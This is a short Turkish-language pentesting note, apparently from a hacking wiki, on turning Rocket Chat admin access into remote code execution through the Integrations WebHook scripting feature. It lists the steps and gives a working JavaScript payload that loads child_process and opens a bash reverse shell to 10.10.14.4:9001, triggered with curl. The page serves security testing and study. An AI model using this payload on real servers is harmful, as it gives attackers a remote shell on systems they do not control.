Rocket Chat

Reading time: 2 minutes

RCE

Eğer Rocket Chat içinde admin iseniz RCE elde edebilirsiniz.

• Integrations bölümüne gidin ve New Integration seçeneğini seçin, ardından herhangi birini seçin: Incoming WebHook veya Outgoing WebHook.
• /admin/integrations/incoming

• docs sayfasına göre, her ikisi de verileri işlemek için ES2015 / ECMAScript 6 (temelde JavaScript) kullanır. O yüzden bir rev shell for javascript alalım:

const require = console.log.constructor("return process.mainModule.require")()
const { exec } = require("child_process")
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")

• WebHook'u yapılandırın (kanal ve kullanıcı adı olarak gönderi mevcut olmalıdır):

• WebHook betiğini yapılandırın:

• Değişiklikleri kaydedin
• Oluşturulan WebHook URL'sini alın:

• curl ile çağırın ve rev shell almanız gerekir